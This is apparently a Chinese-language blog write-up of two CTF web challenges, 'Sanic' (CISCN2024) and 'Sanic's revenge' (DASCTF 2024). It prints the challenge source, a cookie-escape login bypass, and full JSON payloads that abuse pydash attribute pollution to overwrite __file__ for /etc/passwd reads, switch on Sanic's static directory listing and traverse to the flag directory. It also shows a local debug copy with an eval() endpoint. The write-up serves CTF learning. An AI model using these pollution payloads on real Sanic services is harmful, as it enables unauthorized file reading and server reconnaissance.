Sanic&revenge

本文最后更新于 2025年1月15日 凌晨

CISCN2024-WEB-Sanic

/src读取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

定位一下关键代码

1
2
3
@app.route("/src")
async def src(request):
return text(open(__file__).read())

这里应该可以读取代码

/admin有原生链的污染

1
2
3
4
5
6
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

这里有要求需要cookie值进行绕过,由于;会提前截取,可以八进制绕过\073

Cookie:user="adm\073n",得到回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Tue, 14 Jan 2025 13:05:00 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Set-Cookie: session=d19942299eb4431e9a1bdac1abc081c9; Path=/; Max-Age=2592000; expires=Thu, 13-Feb-2025 13:05:00 GMT; HttpOnly
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Max-Age: 1728000
Content-Length: 13

login success

构造

这里用\\\\.进行绕过,跟进pydash.set_(pollute, key, value)

1
2
{"key":"__init__.__globals__.__file__","value":"/etc/passwd"}
{"key":"__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /admin HTTP/1.1
Host: 797906f2-03a1-44b6-b3cb-7eae782ac05e.challenge.ctf.show
Sec-Ch-Ua: "Microsoft Edge";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Sec-Fetch-User: ?1
Cookie:session=d19942299eb4431e9a1bdac1abc081c9;
Priority: u=0, i
Connection: close
Content-Type: application/json
Content-Length: 69

{"key":"__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"}

进到/src里读

(ps:这里读/proc/1/environ在ctfshow就能读了)

这里跟进app.static,看一下注释(翻译后)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
""" 注册一个根目录以提供文件服务。输入可以是文件或目录。

此方法提供了一种简单便捷的方式来设置用于提供静态文件的路由。

参数:

uri (str):用于提供静态内容的 URL 路径。
file_or_directory (Union[PathLike, str]):静态文件或包含静态文件的目录路径。
pattern (str, optional):用于标识有效静态文件的正则表达式模式。默认为 r"/?.+"。
use_modified_since (bool, optional):如果为 True,则发送文件修改时间,如果浏览器的修改时间与服务器匹配则返回未修改状态。默认为 True。
use_content_range (bool, optional):如果为 True,处理范围请求头并发送所请求的文件部分。默认为 False。
stream_large_files (Union[bool, int], optional):如果为 True,使用 StreamingHTTPResponse.file_stream 处理器而不是 HTTPResponse.file 处理器发送文件。如果是一个整数,则表示切换到 StreamingHTTPResponse.file_stream 的阈值大小。默认为 False,表示响应不会以流方式发送。
name (str, optional):用户定义的名称,用于 url_for。默认为 "static"。
host (Optional[str], optional):服务使用的主机 IP 或完全限定域名 (FQDN)。
strict_slashes (Optional[bool], optional):指示 Sanic 是否检查请求 URL 是否需要以斜杠结尾。
content_type (Optional[str], optional):用户定义的响应头内容类型。
apply (bool, optional):如果为 True,将立即注册路由。默认为 True。
resource_type (Optional[str], optional):显式声明资源为 "file" 或 "dir"。
index (Optional[Union[str, Sequence[str]]], optional):当暴露一个目录时,index 是将作为默认文件提供的名称。如果传递了多个文件名,将按顺序尝试。
directory_view (bool, optional):是否回退到显示目录视图(当暴露的是一个目录时)。默认为 False。
directory_handler (Optional[DirectoryHandler], optional):一个 DirectoryHandler 实例,可用于显式控制和子类化默认目录处理程序的行为。
返回:

List[sanic.router.Route]:在路由器上注册的路由。
示例:

提供单个文件服务:

python
复制代码
app.static('/foo', 'path/to/static/file.txt')
提供目录中的所有文件服务:

python
复制代码
app.static('/static', 'path/to/static/directory')
为大文件提供服务并设置特定的阈值:

python
复制代码
app.static('/static', 'path/to/large/files', stream_large_files=1000000)
"""

主要看的是

1
2
directory_view (bool, optional):是否回退到显示目录视图(当暴露的是一个目录时)。默认为 False。
directory_handler (Optional[DirectoryHandler], optional):一个 DirectoryHandler 实例,可用于显式控制和子类化默认目录处理程序的行为。

directory_view为true的时候会展示目录,directory_handler中可以获取指定的目录,继续跟进,看到调用了DirectoryHandler这个类,那继续跟进这个类中

1
2
3
4
5
6
7
if not directory_handler:
directory_handler = DirectoryHandler(
uri=uri,
directory=file_or_directory,
directory_view=directory_view,
index=index,
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def __init__(
self,
uri: str,
directory: Path,
directory_view: bool = False,
index: Optional[Union[str, Sequence[str]]] = None,
) -> None:
if isinstance(index, str):
index = [index]
elif index is None:
index = []
self.base = uri.strip("/")
self.directory = directory
self.directory_view = directory_view
self.index = tuple(index)

只要我们将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件

这个框架可以通过**app.router.name_index[‘xxxxx’]**来获取注册的路由,我们可以打印稍微修改代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from sanic import Sanic
from sanic.response import text, html
#from sanic_session import Session
import pydash
import sys
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
#Session(app)


# @app.route('/', methods=['GET', 'POST'])
# async def index(request):
# return html(open('static/index.html').read())
#
#
# @app.route("/login")
# async def login(request):
# user = request.cookies.get("user")
# if user.lower() == 'adm;n':
# request.ctx.session['admin'] = True
# return text("login success")
#
# return text("login fail")


@app.route("/src")
async def src(request):
eval(request.args.get("code"))
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
#if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

执行

1
/src?code=print(app.router.name_index)

2

1
/src?code=print(app.router.name_index['__mp_main__.static'])

3

成功获取到这个路由,接下来是调用到DirectoryHandler里

1
__mp_main__.static

可以全局搜索下name_index这个方法,打个断点看一下

1

handler.keywords.directory_handler.directory_view进行污染

构造

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value":"True"}

注意这里不能用[]来包裹其中的索引,污染和直接调用不同,我们需要用.来连接,然后访问/static/就行

接下来是污染directory,directory是一个对象,而它之前的值就是由其中的parts属性决定的,但是由于这个属性是一个tuple,不能直接被污染

4

parts的值最后是给了_parts这个属性(按照之前的跟进),污染成根目录

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

到这做题就差不多了,直接打两个payload读取,将flag污染到根目录就行。

[DASCTF 2024 暑假暑期挑战赛]Sanic’s revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2

# 这里的源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
def __init__(self):
pass

app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route("/*****secret********")
async def secret(request):
secret='**************************'
return text("can you find my route name ???"+secret)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())

@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir = create_log_dir(6)
log_dir_bak = log_dir + ".."
log_file = "/tmp/" + log_dir + "/access.log"
log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak"
log = 'key: ' + str(key) + '|' + 'value: ' + str(value);
# 生成日志文件
os.system("mkdir /tmp/" + log_dir)
with open(log_file, 'w') as f:
f.write(log)
# 备份日志文件
os.system("mkdir /tmp/" + log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")


if __name__ == '__main__':
app.run(host='0.0.0.0')

书接上回,也做一下revenge,先打一发

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value":"True"}

由于过滤了parts不能直接打

接着之前的继续跟进

当我们开启列目录功能后,就会进入,跟进_index

5

1
2
3
4
5
6
def _index(self, location: Path, path: str, debug: bool):
# Remove empty path elements, append slash
if "//" in path or not path.endswith("/"):
return redirect(
"/" + "".join([f"{p}/" for p in path.split("/") if p])
)

列出的目录路径就是由self.directory(值是其中的parts控制的)+current拼接得到的

如果污染current就可以实现目录穿越

1
current = path.strip("/")[len(self.base) :].strip("/") 

处理一个路径字符串 path,去除路径两端的斜杠 / 后,截取出与 self.base 无关的部分。首先,通过 strip("/") 去除路径两端的斜杠,然后根据 self.base 的长度,去掉路径中前面与 self.base 长度相同的部分,最后再次去掉截取后路径两端的斜杠。最终,得到的是去掉了 self.base 部分并且去除掉两端斜杠的路径子串

current的值就是由path和base两个值决定的。

访问static路由时,这里path的值是/static/

可以创建一个ctf的目录

此时path为/static/ctf…/,base为static,控制base为static/ctf,可以让current为…,类似这样

1
2
3
4
path="/static/tmp/aaa.."
base="static/tmp/aaa"
current = path.strip("/")[len(base) :].strip("/")
print(current)

file_or_directory类似flask中的_static_url_path,可以改变静态文件的默认路径,我们只需要通过这个改变到其他目录


1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}

直接读proc/1/environ为假的flag,看一下,proc/1/cmdline,再进sh看一下完整目录

6

/app/2Q17A58T9F65y5i8.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2

#源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
def __init__(self):
pass

def create_log_dir(n):
ret = ""
for i in range(n):
num = random.randint(0, 9)
letter = chr(random.randint(97, 122))
Letter = chr(random.randint(65, 90))
s = str(random.choice([num, letter, Letter]))
ret += s
return ret

app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route("/Wa58a1qEQ59857qQRPPQ")
async def secret(request):
with open("/h111int",'r') as f:
hint=f.read()
return text(hint)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())

@app.route("/adminLook", methods=['GET'])
async def AdminLook(request):
#方便管理员查看非法日志
log_dir=os.popen('ls /tmp -al').read();
return text(log_dir)

@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir=create_log_dir(6)
log_dir_bak=log_dir+".."
log_file="/tmp/"+log_dir+"/access.log"
log_file_bak="/tmp/"+log_dir_bak+"/access.log.bak"
log='key: '+str(key)+'|'+'value: '+str(value);
#生成日志文件
os.system("mkdir /tmp/"+log_dir)
with open(log_file, 'w') as f:
f.write(log)
#备份日志文件
os.system("mkdir /tmp/"+log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")


if __name__ == '__main__':
app.run(host='0.0.0.0')

看一下多出来的路由

1
2
flag in /app,but you need to find his name!!!
Find a way to see the file names in the app directory

/adminLook,看一下

可以看到这里存在两个目录,一个备份目录名称为z7LD0H..,那么就可以利用访问这个目录实现穿越到上层目录

先污染file_or_directory为tmp目录

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/tmp"}

污染base的值

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/z7LD0H"}

7

/app/45W698WqtsgQT1_flag中,最后读取一下就行了(不知道电脑出什么问题,第二个打断点老是显示不出来)


Sanic&revenge
https://0ran9ewww.github.io/2025/01/15/每日一题/Sanic&revenge/
作者
orange
发布于
2025年1月15日
更新于
2025年1月15日
许可协议